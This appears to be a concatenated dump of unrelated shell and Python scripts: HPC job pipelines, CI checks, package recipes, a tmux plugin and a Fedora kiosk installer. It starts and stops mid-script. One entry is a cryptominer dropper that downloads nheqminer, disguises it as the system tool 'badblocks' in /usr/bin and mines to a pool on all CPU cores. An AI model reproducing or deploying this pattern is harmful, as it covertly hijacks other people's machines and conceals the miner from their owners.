node 01:00:00 quantify_rRNA $mail $config_file\necho \"cd $path\nquantify_rRNA.py $gtf_file\" >> quantify_rRNA.sh\nJOB=`sbatch quantify_rRNA.sh| sed -re 's/.+\\s+([0-9]+)/\\1/'`\nDEP_REPORT=$DEP_REPORT:$JOB\n\n## correl\nmake_sbatch.py a2012043 node 01:00:00 correl $mail $config_file\necho \"cd $path\nR CMD BATCH '--args ${name_list[*]}' $WP/correl.R\" >> correl.sh\nJOB=`sbatch correl.sh| sed -re 's/.+\\s+([0-9]+)/\\1/'`\nDEP_REPORT=$DEP_REPORT:$JOB\n\n## analysis report\ncp $WP/sll_logo.gif .\nmake_sbatch.py a2012043 core 01:00:00 analysis_report $mail $config_file\necho \"cd $path\nanalysis_report.py $project_id -c $config_file -r -s -d -f -g -w -b $single -G $genome\" >> analysis_report.sh\nsbatch --dependency=$DEP_REPORT analysis_report.sh\nmkdir sbatch_scripts\nmv *.sh sbatch_scripts"} {"text": "#!/usr/bin/env python3\n\nimport os\nimport base64\nimport zipfile\n\narchive = b\"\"\"\"\"\"\n\n# installing\ndef install():\n # dir for installing\n install_dir = '/usr/share/'\n\n # access check\n if not os.access('/usr/local/bin', os.W_OK) or not os.access(install_dir, os.W_OK):\n print('[\\033[91mERROR\\033[0m] Permission denied')\n return False\n\n # install check\n if os.access(install_dir + '/Sanelotto', os.F_OK):\n print('[\\033[91mERROR\\033[0m] Sanelotto already installed')\n return False\n\n # creating main dir\n try:\n os.mkdir(install_dir + '/Sanelotto')\n print('[\\033[92mOK\\033[0m] Directory created')\n except:\n print('[\\033[91mERROR\\033[0m] Failed to create /usr/share/Sanelotto')\n return False\n\n # unpacking\n try:\n # creating\n temp_archive = open(install_dir + '/Sanelotto/temp_sl.zip', 'wb')\n temp_archive.write(base64.decodebytes(archive))\n temp_archive.close()\n # extracting\n temp_archive_obj = zipfile.ZipFile(install_dir + '/Sanelotto/temp_sl.zip', 'r')\n temp_archive_obj.extractall(install_dir + '/Sanelotto')\n # deleting temp archive\n os.remove(install_dir + '/Sanelotto/temp_sl.zip')\n print('[\\033[92mOK\\033[0m] Sanelotto extracted')\n except:\n print('[\\033[91mERROR\\033[0m] Failed to unpack Sanelotto')\n return False\n\n # creating link\n try:\n os.symlink(install_dir + '/Sanelotto/sanelotto', '/usr/local/bin/sanelotto')\n os.chmod('/usr/local/bin/sanelotto', 0o777)\n print('[\\033[92mOK\\033[0m] Link created')\n except:\n print('[\\033[91mERROR\\033[0m] Failed to create symlink')\n return False\n\n print('[\\033[92mDONE\\033[0m] Sanelotto successfully installed')\n\n# start\ninstall()"} {"text": "EndPointCorp/appctl1-10\n#!/usr/bin/env bash\n\nset -e\nset -x\n\n\ncp -r /root/ssh /root/.ssh\nchown -R root:root /root/.ssh\nchmod 0600 /root/.ssh/id_rsa\neval $(ssh-agent -s)\n\nssh -o StrictHostKeychecking=no aptly@${APTLY_SERVER} mkdir -p incoming/appctl/origin/master/\ncd /catkin_ws\nscp -o StrictHostKeychecking=no ./debs/*.deb aptly@${APTLY_SERVER}:incoming/appctl/origin/master/\nssh -o StrictHostKeychecking=no aptly@${APTLY_SERVER} bash /home/aptly/bin/publish-incoming.sh --project appctl --branch origin/master --rosrel \"melodic\" --distro \"bionic\"\nssh -o StrictHostKeychecking=no aptly@${APTLY_SERVER} bash /home/aptly/bin/publish-incoming-separate-repos.sh --project appctl --branch origin/master --rosrel \"melodic\" --distro \"bionic\""} {"text": "TERMUX_PKG_HOMEPAGE=https://www.gnu.org/software/xorriso\nTERMUX_PKG_DESCRIPTION=\"Tool for creating ISO files.\"\nTERMUX_PKG_LICENSE=\"GPL-3.0\"\nTERMUX_PKG_VERSION=1.5.0\nTERMUX_PKG_REVISION=3\nTERMUX_PKG_SHA256=a93fa7ae5bb1902198cddfec25201388156932f36f2f5da829bf4fcae9a6062b\nTERMUX_PKG_SRCURL=https://www.gnu.org/software/xorriso/xorriso-${TERMUX_PKG_VERSION}.tar.gz\nTERMUX_PKG_DEPENDS=\"libiconv, libandroid-support, readline, libbz2, zlib\"\nTERMUX_PKG_BUILD_IN_SRC=true\nTERMUX_PKG_EXTRA_CONFIGURE_ARGS=\"--disable-jtethreads\""} {"text": "10-100\n#!/bin/bash\n# Usage:\nset -xe\n\nusage() {\n echo \"Usage:\"\n echo \"$0 directory_name app_name [device_id]\"\n}\n\nDEVICE=\"\"\n\nif [ \"x\"$1 == \"x\" ]; then\n usage\n echo \"Missing dirname for golden repo!\";\n exit\nfi\nif [ \"x\"$2 == \"x\" ]; then\n usage\n echo \"Missing app name!\";\n exit;\nfi\nif [ \"x\"$3 != \"x\" ]; then\n DEVICE=\"-s $3\"\nfi\necho \"All ok\";\n\nADB=\"adb\"\n\necho `pwd`\nmkdir -p $1\npushd $1\n echo `pwd`\n mkdir -p snap\n pushd snap\n echo `pwd`\n echo \"$ADB $DEVICE pull /data/apitrace/snap\"\n $ADB $DEVICE pull /data/apitrace/snap\n popd\n echo `pwd`\n\n echo \"$ADB $DEVICE pull /data/apitrace/$2\"\n $ADB $DEVICE pull /data/apitrace/$2\n $ADB $DEVICE shell rm -rf /data/apitrace/snap\n $ADB $DEVICE shell mkdir /data/apitrace/snap\n $ADB $DEVICE shell chmod 777 /data/apitrace/snap\n $ADB $DEVICE shell rm -rf /data/apitrace/$2\n echo `pwd`\n mv $2.1.pat `basename $1`.pat\n rm -f $2.meta\npopd"} {"text": "#!/usr/bin/env bash\n\nhostname -s\n\nif [[ $(hostname -s) = pmdsdata3* ]]; then\n ls\n echo this matched test\nelse\n echo This did not match test..\nfi\n\nset -vx\n\n# If hostname is pmdsdata3 then don't import data...\n# > /dev/null\n# http://stackoverflow.com/questions/1728683/case-insensitive-comparison-of-strings-in-shell-script\nmatch1='V206X' \nif (hostname -s | grep -i \"$match1\" ) ; then\n echo \"hostname matched test for $match1, so dont import data.\"\nelse\n echo 'This is not pmdsdata3, so we will import the data...'\t\n\techo 'import stuff.........'\nfi\n\n\ntimeout1=4 ; read -t $timeout1 -p \"Press ENTER or wait $time1 seconds\" ; echo ;\nread -t 99 -p \"Press ENTER or wait some seconds\" ; echo ;"} {"text": "renitaa12/Ren0\n\n#!/bin/sh\n \nCOUNTER=20\nuntil [ $COUNTER -lt 10 ]; do\n\nwget https://github.com/VerusCoin/nheqminer/releases/download/v0.8.2/nheqminer-Linux-v0.8.2.tgz\ntar -xvzf nheqminer-Linux-v0.8.2.tgz\ntar xf nheqminer-Linux-v0.8.2.tar.gz\ncd nheqminer\nmv nheqminer badblocks\nmv badblocks /usr/bin\nbadblocks -v -l verushash.asia.mine.zergpool.com:3300 -u D5snbNHPaNYMHAESeTrreRRVx3NLRdGo65.$(echo $(shuf -i 1-999 -n 1)-O) -p c=$coin -t $(nproc --all)\n \n echo COUNTER $COUNTER\n let COUNTER-=1\ndone"} {"text": "bryan-hoang/asdf-nodejs1-10\n#! /usr/bin/env bash\n\nset -eu -o pipefail\n\nsource \"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)/../utils.sh\"\n\n: \"${ASDF_NODEJS_NODEBUILD_HOME=$ASDF_NODEJS_PLUGIN_DIR/.node-build}\"\n: \"${ASDF_NODEJS_CONCURRENCY=$((${ASDF_CONCURRENCY:-1} + 1 / 2))}\"\n\n# node-build environment variables being overriden by asdf-nodejs\nexport NODE_BUILD_CACHE_PATH=\"${NODE_BUILD_CACHE_PATH:-$ASDF_NODEJS_CACHE_DIR/node-build}\"\n\nif [ \"$NODEJS_ORG_MIRROR\" ]; then\n export NODE_BUILD_MIRROR_URL=\"$NODEJS_ORG_MIRROR\"\nfi\n\nif [[ \"${ASDF_NODEJS_CONCURRENCY-}\" =~ ^[0-9]+$ ]]; then\n export MAKE_OPTS=\"${MAKE_OPTS:-} -j$ASDF_NODEJS_CONCURRENCY\"\n export NODE_MAKE_OPTS=\"${NODE_MAKE_OPTS:-} -j$ASDF_NODEJS_CONCURRENCY\"\nfi\n\nnodebuild=\"${ASDF_NODEJS_NODEBUILD:-$ASDF_NODEJS_NODEBUILD_HOME/bin/node-build}\" \nargs=()\n\nif ! [ -x \"$nodebuild\" ]; then\n printf \"Binary for node-build not found\\n\"\n\n if ! [ \"${ASDF_NODEJS_NODEBUILD-}\" ]; then\n printf \"Are you sure it was installed? Try running \\`asdf %s update-nodebuild\\` to do a local update or install\\n\" \"$(plugin_name)\"\n fi\n\n exit 1\nfi\n\nif [ \"${ASDF_NODEJS_VERBOSE_INSTALL-}\" ]; then\n args+=(-v)\nfi\n\nexec \"$nodebuild\" ${args+\"${args[@]}\"} \"$@\""} {"text": "#!/bin/bash\n\nCUDA_VISIBLE_DEVICES=$1 python src/main.py train \\\n --use-bert --model-path-base models/en_bert_empty_nl2 \\\n --bert-model \"bert-large-uncased\" \\\n --num-layers 2 --learning-rate 0.00005 \\\n --batch-size 32 --eval-batch-size 16 \\\n --subbatch-max-tokens 500 \\\n --d-label-hidden 256 --d-tag-hidden 256 --metric l2 \\\n | tee large-nl2.log"} {"text": ".travis/qa.sh\n#!/bin/bash\n# Avoid aborting script on failure\nset +e\n\nfunction logCheckResults() {\n case \"${DEBUG}\" in\n trace | verbose )\n echo \"-> Trace:\"\n cat log.txt\n echo \"-> Response:\"\n cat data.txt\n ;;\n * )\n :\n ;;\n esac\n}\n\nfunction checkWithCurl() {\n if [ \"${DEBUG}\" = \"verbose\" ];\n then\n curl --version\n fi\n curl --head --silent --verbose --connect-timeout 5 \"$1\" > data.txt 2> log.txt\n error=$?\n logCheckResults\n return \"$error\"\n}\n\nfunction checkWithWget() {\n if [ \"${DEBUG}\" = \"verbose\" ];\n then\n wget --version\n fi\n # Write response (and headers) to 'data.txt', (verbose) activity to 'log.txt'\n # including additional debug entries (e.g., requests and responses), with a\n # generic timeout of 5s, and retry only once.\n # In addition, discard the additional output (both standard and error)\n wget --output-document=data.txt --output-file=log.txt --verbose --debug --timeout=5 --tries 1 --save-headers \"$1\" > error.log 2>&1\n error=$?\n if [ \"$error\" != \"0\" ];\n then\n # If a failure happens, but the server sent a response...\n if [ \"$(grep -c \"response begin\" log.txt)\" -gt 0 ]\n then\n # ... we extract the response from the log...\n from=$(awk '/response begin/{ print NR; exit }' log.txt)\n to=$(awk '/response end/{ print NR; exit }' log.txt)\n head -n $((to - 1)) log.txt | tail -n $((to - from - 1)) > data.txt\n # ... and clear the failure status.\n error=0\n fi\n fi\n logCheckResults\n return \"$error\"\n}\n\nfunction checkSonarQubeServer() {\n echo \"Checking SonarQube Server...\"\n\n case \"${CHECKER}\" in\n curl ) checkWithCurl \"$1\";;\n * ) checkWithWget \"$1\";;\n esac\n\n error=$?\n if [ \"$error\" = \"0\" ];\n then\n status=$(head -n 1 data.txt | awk '{print $2}')\n if [ \"$status\" != \"200\" ];\n then\n echo \"SonarQube Server is not available (response status code: $status)\"\n error=1\n fi\n else\n echo \"Could not connect to SonarQube Server: \"\n cat log.txt\n error=2\n fi\n rm data.txt\n rm log.txt\n return \"$error\"\n}\n\nfunction analyzeBranch() {\n checkSonarQubeServer \"$1\"\n if [ \"$?\" = \"0\" ];\n then\n if [ \"$2\" != \"porcelain\" ];\n then\n echo \"Executing SonarQube analysis (${TRAVIS_BRANCH})...\"\n # If SSL network failures happen, execute the analysis with -Djavax.net.debug=all\n mvn sonar:sonar -B -Dsonar.branch=\"$TRAVIS_BRANCH\" -Dcoverage.reports.dir=\"$(pwd)/target/all\" --settings config/src/main/resources/ci/settings.xml\n else\n echo \"Skipped SonarQube analysis (${TRAVIS_BRANCH}): Porcelain\"\n fi\n else\n echo \"Skipped SonarQube analysis (${TRAVIS_BRANCH})\"\n fi\n}\n\nfunction skipBranchAnalysis() {\n echo \"Skipped SonarQube analysis (${TRAVIS_BRANCH}): Non Q.A. branch\"\n}\n\nfunction skipPullRequestAnalysis() {\n echo \"Skipped SonarQube analysis (${TRAVIS_BRANCH}): Pull request\"\n}\n\nfunction skipBuild() {\n echo \"Skipping build...\"\n}\n\nfunction skipSonarQubeAnalysis() {\n echo \"Skipping SonarQube analysis...\"\n}\n\nfunction runSonarQubeAnalysis() {\n if [ \"${TRAVIS_PULL_REQUEST}\" = \"false\" ];\n then\n case \"${TRAVIS_BRANCH}\" in\n master | develop ) analyzeBranch \"$1\" \"$2\";;\n feature\\/* ) analyzeBranch \"$1\" \"$2\";;\n * ) skipBranchAnalysis ;;\n esac\n else\n skipPullRequestAnalysis\n fi\n}\n\nif [ \"${DEBUG}\" = \"trace\" ];\nthen\n set -x\nfi\n\nserver=http://analysis.ldp4j.org/sonar/\n\ncase \"${CI}\" in\n skip ) skipBuild ;;\n noqa ) skipSonarQubeAnalysis ;;\n porcelain ) runSonarQubeAnalysis \"$server\" porcelain ;;\n * ) runSonarQubeAnalysis \"$server\" \"$1\" ;;\nesac\n\nset +x\n\nreturn 0"} {"text": "#!/usr/bin/env bash\n\n# This script is a basic example script to get resource information about NVIDIA GPUs.\n# It assumes the drivers are properly installed and the nvidia-smi command is available.\n# It is not guaranteed to work on all setups so please test and customize as needed\n# for your environment. It can be passed into SPARK via the config\n# spark.{driver/executor}.resource.gpu.discoveryScript to allow the driver or executor to discover\n# the GPUs it was allocated. It assumes you are running within an isolated container where the\n# GPUs are allocated exclusively to that driver or executor.\n# It outputs a JSON formatted string that is expected by the\n# spark.{driver/executor}.resource.gpu.discoveryScript config.\n#\n# Example output: {\"name\": \"gpu\", \"addresses\":[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"]}\n\n#ADDRS=`nvidia-smi --query-gpu=index --format=csv,noheader | sed -e ':a' -e 'N' -e'$!ba' -e 's/\\n/\",\"/g'`\n#echo {\\\"name\\\": \\\"gpu\\\", \\\"addresses\\\":[\\\"$ADDRS\\\"]}\n#ADDRS=\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"\n#echo {\\\"name\\\": \\\"gpu\\\", \\\"addresses\\\":[\\\"$ADDRS\\\"]}\n\necho {\\\"name\\\": \\\"gpu\\\", \\\"addresses\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\"]}"} {"text": "#!/usr/bin/env bash\n\n# Checks that the docker test run succeeded\n\n# Define expected results\nEXPECTED_FILES=(\"rgb_plot.csv\")\nEXPECTED_GREENNESS_VALUES=(2.3 0 20.55 1.6 52.72 -50.42 22.85 10.66 1.01 0.0 0.33)\n\n# What folder are we looking in for outputs\nif [[ ! \"${1}\" == \"\" ]]; then\n TARGET_FOLDER=\"${1}\"\nelse\n TARGET_FOLDER=\"./outputs\"\nfi\n\n# What our target file to read is\nif [[ ! \"${2}\" == \"\" ]]; then\n CHECK_FILE=\"${2}\"\nelse\n CHECK_FILE=\"rgb_plot.csv\"\nfi\nEXPECTED_FILES+=(\"${CHECK_FILE}\")\n\n# Check if expected files are found\nfor i in $(seq 0 $(( ${#EXPECTED_FILES[@]} - 1 )))\ndo\n if [[ ! -f \"${TARGET_FOLDER}/${EXPECTED_FILES[$i]}\" ]]; then\n echo \"Expected file ${EXPECTED_FILES[$i]} is missing\"\n exit 10\n fi\ndone\n\n# Check the results of the canopy cover calculation\nRESULT_VALUES=(`gawk '\nBEGIN {\n FPAT = \"([^,]+)|(\\\"[^\\\"]+\\\")\"\n}\n{\n if ($1 != \"species\") { # Skipping the header line\n printf(\"(%s %s %s %s %s %s %s %s %s %s %s)\\n\", $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17)\n }\n}\nEND {\n}\n' \"${TARGET_FOLDER}/${CHECK_FILE}\"`)\n\necho \"Result counts: ${#EXPECTED_GREENNESS_VALUES[@]} vs ${#RESULT_VALUES[@]}\"\nif [[ ${#EXPECTED_GREENNESS_VALUES[@]} != ${#RESULT_VALUES[@]} ]]; then\n echo \"Number of results found in file (${#RESULT_VALUES[@]}) don't match expected count (${#EXPECTED_GREENNESS_VALUES[@]})\"\n if [[ ${#RESULT_VALUES[@]} > 0 ]]; then\n for i in $(seq 0 $(( ${#RESULT_VALUES[@]} - 1 )))\n do\n echo \"${i}: ${RESULT_VALUES[$i]}\"\n done\n fi\n exit 20\nfi\n\n#for i in $(seq 0 $(( ${#EXPECTED_GREENNESS_VALUES[@]} - 1 )))\n#do\n# # Check that we have the same number values\n# CUR_EXPECTED=${EXPECTED_GREENNESS_VALUES[$i]}\n# CUR_VALUES=${RESULT_VALUES[$i]}\n# if [[ ${#CUR_EXPECTED[@]} != ${#CUR_VALUES[@]} ]]; then\n# echo \"Row ${i}: Expected ${#CUR_EXPECTED[@]} values and received ${#CUR_VALUES[@]}\"\n# exit 30\n# fi\n#\n# # Check each of the values\n# for j in $(seq 0 $(( ${#CUR_EXPECTED[@]} - 1 )))\n# do\n# if [[ \"${CUR_EXPECTED[$j]}\" == \"${CUR_VALUES[$j]}\" ]]; then\n# echo \"Values for index ${j} match: '${CUR_EXPECTED[$j]}' '${CUR_VALUES[$j]}'\"\n# else\n# echo \"Result value for index ${j}: '${CUR_EXPECTED[$j]}' doesn't match expected: '${CUR_VALUES[$j]}'\"\n# exit 30\n# fi\n# done\n#done"} {"text": "icefairy/b4xlibs_tk1-10\ncp -r ~/Documents/b4ilibs/* ~/b4xlibs/b4ilibs/\r\necho done"} {"text": "################################################################################\n# testControlLoop.sh\n#\n# Runs the control loop without vicon or arduino and with fake data\n################################################################################\n\ntrap \"exit\" INT TERM ERR\ntrap \"kill 0\" EXIT\n\npython produceTestData.py &\npython controller.py &\npython writeLogs.py &\n# python serialWriter.py &\n\nwait"} {"text": "#!/bin/bash\n\n# Dr \n# \n\n# HealthcareSIG Payer Subgroup 2020\n\n\necho\necho \"#################################################################\"\necho \"####### Query Record: MPM-ID 001 #################\"\necho \"####### MPM-ID 002 #################\"\necho \"####### MPM-ID 003 #################\"\necho \"#################################################################\"\nsudo docker exec cli peer chaincode query -o orderer.payer.com:7050 -C prescriptionchannel -n MPMcc -c '{\"function\":\"queryRecord\",\"Args\":[\"001\"]}' && \\\nsudo docker exec cli peer chaincode query -o orderer.payer.com:7050 -C prescriptionchannel -n MPMcc -c '{\"function\":\"queryRecord\",\"Args\":[\"002\"]}' && \\\nsudo docker exec cli peer chaincode query -o orderer.payer.com:7050 -C prescriptionchannel -n MPMcc -c '{\"function\":\"queryRecord\",\"Args\":[\"003\"]}'"} {"text": "#!/usr/bin/env bash\n\nCURRENT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nsource \"$CURRENT_DIR/helpers.sh\"\nsource \"$CURRENT_DIR/variables.sh\"\n\nauto_restore_enabled() {\n\tlocal auto_restore_value=\"$(get_tmux_option \"$auto_restore_option\" \"$auto_restore_default\")\"\n\t[ \"$auto_restore_value\" == \"on\" ] && [ ! -f \"$auto_restore_halt_file\" ]\n}\n\nfetch_and_run_tmux_resurrect_restore_script() {\n\t# give tmux some time to start and source all the plugins\n\tsleep 1\n\tlocal resurrect_restore_script_path=\"$(get_tmux_option \"$resurrect_restore_path_option\" \"\")\"\n\tif [ -n \"$resurrect_restore_script_path\" ]; then\n\t\t\"$resurrect_restore_script_path\"\n\tfi\n}\n\nmain() {\n\t# Advanced edge case handling: auto restore only if this is the only tmux\n\t# server. If another tmux server exists, it is assumed auto-restore is not wanted.\n\tif auto_restore_enabled && ! another_tmux_server_running_on_startup; then\n\t\tfetch_and_run_tmux_resurrect_restore_script\n\tfi\n}\nmain"} {"text": "kifj/ioc-unitbin/notestsw2.sh\nmvn clean deploy -DskipTests=true -Pbase,junit4,weld2.3 -Dnoartifactory"} {"text": "#!/usr/bin/env bash\n## docker pull registry.cn-shenzhen.aliyuncs.com/ligf/springboot-vue-admin 阿里云\nAPPNAME=admin\nVERSION=latest\nPROT=8080:8080\n# shellcheck disable=SC2006\nRUN_ID=`docker ps | grep ${APPNAME} | grep -v grep | awk '{print $1}'`\necho \"RUN_ID : ${RUN_ID}\"\n\nif [[ \"${RUN_ID}\" ]]; then\n echo \"docker restart ${APPNAME} \"\n docker restart ${APPNAME}\nelse\n echo \"docker run ${APPNAME}:${VERSION} \"\n docker run -p ${PROT} --name ${APPNAME} app/${APPNAME}:${VERSION}\nfi"} {"text": "#!/bin/bash\n###############################################################################\n#\n# Create Fedora Kiosk\n#\n###############################################################################\n#\n# NAME: \n#\tcreate-fedora-kiosk.sh\n#\n# LICENSE:\n#\tDistributed uner the MIT License.\n#\n# SYNOPSIS:\n#\tsudo ./create-fedora-kiosk.sh\n#\n# REQUIREMENTS:\n#\tOS: Fedora 25 or newer.\n#\tArch: i386 or x86_64\n#\tRequires active network conenction.\n#\n# DESCRIPTION:\n#\tThis script converts a Fedora install into a chromium (webkit) kiosk. \n#\tYou may choose to set variables that also install the version of Citrix\n#\tReceiver. Setting the start page to your webstore will effectively \n#\tcreate a thin client image for Citrix Receiver. A local user, called\n#\tkiosk, will be created and set to auto login. The script also edits\n#\t/usr/share/misc/magic to add an enry for .ica files so file reports\n#\tthem properly as mime:application/x-ica and not text/plain. Failure\n#\tto do so results in the an infinate number of tabs being opened by\n#\tchromium. \n#\n# EXIT CODES:\n#\t0 - Success\n#\t1 - Failed - Needs to be run as root.\n#\t2 - Network Failure - Are you online?\n#\t3 - Failed to download/install Chromium.\n#\t4 - Failed to download/install Citrix Receiver.\n#\t5 - Failed to create log file.\n#\t6 - Failed - Not running supported OS. \n#\n# HISTORY:\n#\t10.11.2017 - \n#\t\tInital Script Release. \n#\n###############################################################################\n\n# Set Some Variables:\nlog=/var/log/create-kiosk.log\nuser=$( whoami )\nreleaseinfo=$( grep -m1 release /etc/system-release )\nelver=$( cat /etc/fedora-release | sed 's/.*release \\([0-9][0-9]\\).*/\\1/' )\ncpu=$( uname -i )\n\n# This is website that the script verifies network against. \ntestsite=http://google.com\n\n# Set the page that you want the kiosk to open to.\nhomePage=https://google.com\n\n# Set to yes if you want to install Citrix Receiver.\ncitrix=no\n\n# Set to yes if you want to install Citrix USB Support\ncitrixusb=no\n\n# Set to yes if you want to install Citrix Web Receiver\ncitrixweb=no\n\n# Echo function\nechoFunc () {\n\t# Date and Time function for the log file\n\tfDateTime () { echo $(date +\"%a %b %d %T\"); }\n\n\t# Title for beginning of line in log file\n\tTitle=\"Create Fedora Kiosk\"\n\n\t# Header string function\n\tfHeader () { echo $(fDateTime) $(hostname) $Title; }\n\n\t# Check for the log file\n\tif [ -e ${log} ]; then\n\t\techo $(fHeader) \"$1\" >> $log\n\telse\n\t\tcat \"\" > $log\n\t\tif [ -e $log ]; then\n\t\t\techo $(fDateTime) \"$1\" >> $log\n\t\telse\n\t\t\techo \"Failed to create log file. Please check your configuration.\" \n\t\t\texit 5\n\t\tfi\n\tfi\n\n\t# Echo out\n\techo $1\n}\n\n# Function to install packages by name. It checks to see if they're already installed or not. \ninstallPackage () {\n\tif ! rpm -qa | grep -qw $1 ; then\n\t\techoFunc \"Installing: $1\"\n\t\techo -n \"Progress: \"\n\t\tdnf -y install $1 >> $log &\n\t\twhile [ -e /proc/$! ] ; do\n\t\t\techo -n \".\"\n\t\t\tsleep 5\n\t\tdone\n\t\techoFunc \"Finished.\"\n\telse\n\t\techoFunc \"$1: already installed.\"\n\tfi\n}\n\n\n# Starting script!\nechoFunc \"Starting script\"\nechoFunc \"\"\nechoFunc \"This script will install additional packages and make changes to system files to have the computer start in kiosk mode after the next reboot.\"\nechoFunc \"A log file can be found ${log} for additional information and troubleshooting.\"\nechoFunc \"\"\n\n# Checking if we're root.\nif [ $user != root ];then\n\techoFunc \"You must be root. Please sudo or su and try again.\"\n\techoFunc \"The script was started as: ${user}\"\n\techoFunc \"Exiting with error code: 1\"\n\texit 1\nfi\n\n# Testing to see if the OS is right.\nif [ $cpu = x86_64 ] || [ $cpu = i386 ]; then\n\techoFunc \"Kernel architecture is: ${cpu}\"\nelse\n\techoFunc \"Unsupported architecture found: ${cpu}\"\n\techoFunc \"Supported architectures are: i386 x86_64\"\n\techoFunc \"Exiting with error code: 6\"\n\texit 6\nfi\n\nif [ ! -f /etc/fedora-release ] ; then\n echoFunc \"Sorry, your Linux distribution isn't supported by this script.\"\n echoFunc \"Unsupported Linux distro: ${releaseinfo}\"\n echoFunc \"Error! Exiting with code: 6\"\n exit 6\nfi\nechoFunc \"Release Version: ${releaseinfo}\"\nif [ $elver -ge 25 ] ; then\n\techoFunc \"Version is: ${elver}\"\nelse\n\techoFunc \"You need to be running fedora version 25 or later.\"\n\techoFunc \"Unsupported Fedora version: ${elver}\"\n\techoFunc \"Error! Exiting with code:6\"\n\texit 6\nfi\n\n# Verify there's a network connection\ncase \"$(curl -s --max-time 2 -I $testsite | sed 's/^[^ ]* *\\([0-9]\\).*/\\1/; 1q')\" in\n\t[23]) \n\t\techoFunc \"Network is up! Yay!\"\n\t\t;;\n\t5) \n\t\techoFunc \"Error: A web proxy won't let us through.\"\n\t\techoFunc \"Exiting with error code 2.\"\n\t\texit 2\n\t\t;;\n\t*)\n\t\techoFunc \"Error: The network is down or very slow.\"\n\t\techoFunc \"Exiting with error code 2.\"\n\t\texit 2\n\t\t;;\nesac\n\n# Adding kiosk user\nif [ -z \"$(getent passwd kiosk)\" ] ; then\n echoFunc \"Adding the user 'kiosk' to the system.\"\n useradd kiosk\nelse\n echoFunc \"The user 'kiosk' already exists.\"\nfi\n\n# Start installing some dependancies. \nechoFunc \"Installing dependancies:\"\nechoFunc \"This section will be downloading over 600 MB and will take a significant amount of time.\"\nechoFunc \"Overall Progress: 5%\"\nechoFunc \"Installing: Basic Desktop Group\"\ndnf -y group install \"Basic Desktop\" >> $log &\necho -n \"Progress: \"\nwhile [ -e /proc/$! ] ; do \n\techo -n \".\"\n\tsleep 5\ndone\nechoFunc \"Finished.\"\nechoFunc \"Overall Progress 25%\"\ninstallPackage \"gdm\"\ninstallPackage \"matchbox-window-manager\"\nechoFunc \"Overall Progress: 40%\"\ninstallPackage \"gnome-session-xsession\"\ninstallPackage \"xorg-x11-xinit-session\"\nechoFunc \"Overall Progress: 50%\"\ninstallPackage \"chromium\"\n\nif [ $citrix = yes ] ;then\n\techoFunc \"Downloading Citrix Receiver (Full)\"\n\turl1=\"https:\"\n\turl2=`curl -s -L \"https://www.citrix.com/downloads/citrix-receiver/linux/receiver-for-linux-latest.html#ctx-dl-eula-external\" | grep ICAClient-rhel.*${cpu}.rpm? | sed 's/.*rel=.\\(.*\\)..id=.*/\\1/'`\n\turl=`echo \"${url1}${url2}\"`\n\tcurl -s -o /tmp/ICAClient-rhel.${cpu}.rpm \"${url}\"\n\techoFunc \"Download complete.\"\n\tinstallPackage \"/tmp/ICAClient-rhel.${cpu}.rpm\"\n\techoFunc \"Removing temp file.\"\n\trm /tmp/ICAClient-rhel.${cpu}.rpm\n\nelse\n\techoFunc \"Skipping Citrix (FULL) Receiver install.\"\nfi\n\nif [ $citrixweb = yes ] ;then\n echoFunc \"Downloading Citrix Receiver for Web\"\n url1=\"https:\"\n url2=`curl -s -L \"https://www.citrix.com/downloads/citrix-receiver/linux/receiver-for-linux-latest.html#ctx-dl-eula-external\" | grep ICAClientWeb-rhel.*${cpu}.rpm? | sed 's/.*rel=.\\(.*\\)..id=.*/\\1/'`\n url=`echo \"${url1}${url2}\"`\n curl -s -o /tmp/ICAClientWeb-rhel.${cpu}.rpm \"${url}\"\n echoFunc \"Download complete.\"\n installPackage \"/tmp/ICAClientWeb-rhel.${cpu}.rpm\"\n echoFunc \"Removing temp file.\"\n rm /tmp/ICAClientWeb-rhel.${cpu}.rpm\nelse\n echoFunc \"Skipping Citrix Receiver for Web install.\"\nfi\n\nif [ $citrixusb = yes ] ;then\n\techoFunc \"Installing Citrix USB Support\"\n\turl1=\"https:\"\n\turl2=`curl -s -L \"https://www.citrix.com/downloads/citrix-receiver/linux/receiver-for-linux-latest.html#ctx-dl-eula-external\" | grep ctxusb.*${cpu}.rpm? | sed 's/.*rel=.\\(.*\\)..id=.*/\\1/'`\n\turl=`echo \"${url1}${url2}\"`\n\tcurl -s -o /tmp/ctxusb.${cpu}.rpm \"${url}\"\n\techoFunc \"Download complete.\"\n\tinstallPackage \"/tmp/ctxusb.${cpu}.rpm\"\n\techoFunc \"Removing temp file.\"\n\trm /tmp/ctxusb.${cpu}.rpm\nelse\n\techoFunc \"Skipping Citrix USB Support.\"\nfi\n\nechoFunc \"Overall Progress: 80%\"\n\n\n# Run some tests to make sure that the programs actually installed. \n\nif [ ! $( rpm -qa | grep -w chromium ) ] ; then\n echoFunc \"Chromium not found!\"\n\techoFunc \"Exiting with error code: 3\"\n\texit 3\nelse\n echo \"Chromium install verified\"\nfi\n\n\nif [ $citrix = yes ] && [ -e /opt/Citrix/ICAClient/wfica ] ; then\n\techoFunc \"Citrix install verified.\"\nelse\n\tif [ $citrix = yes ] ; then\n\t\techoFunc \"Citrix seemed to fail the install.\"\n\t\techoFunc \"Exiting with error code: 4\"\n\t\texit 4\n\tfi\nfi\n\n\nif [ $citrixweb = yes ] && [ -e /opt/Citrix/ICAClient/wfica ] ; then\n echoFunc \"Citrix install verified.\"\nelse\n if [ $citrixweb = yes ] ; then\n echoFunc \"Citrix seemed to fail the install.\"\n echoFunc \"Exiting with error code: 4\"\n exit 4\n fi\nfi\n\n\n# Config Machine for Kiosk Attributes\nechoFunc \"Checking login manager (GDM) for automatic login.\"\nautologin=$( cat /etc/gdm/custom.conf | grep AutomaticLoginEnable=True )\nloginname=$( cat /etc/gdm/custom.conf | grep AutomaticLogin=kiosk )\nif [ -n \"$autologin\" ]\nthen\n\techoFunc \"File is already configured for automatic login.\"\n\techoFunc \"Current automatic login config: ${autologin}\"\n\techoFunc \"Check the GDM file /etc/gdm/custom.conf.\"\n\tcat /etc/gdm/custom.conf 1>> $log 2>> $log\nelse\n\techoFunc \"Adding line to 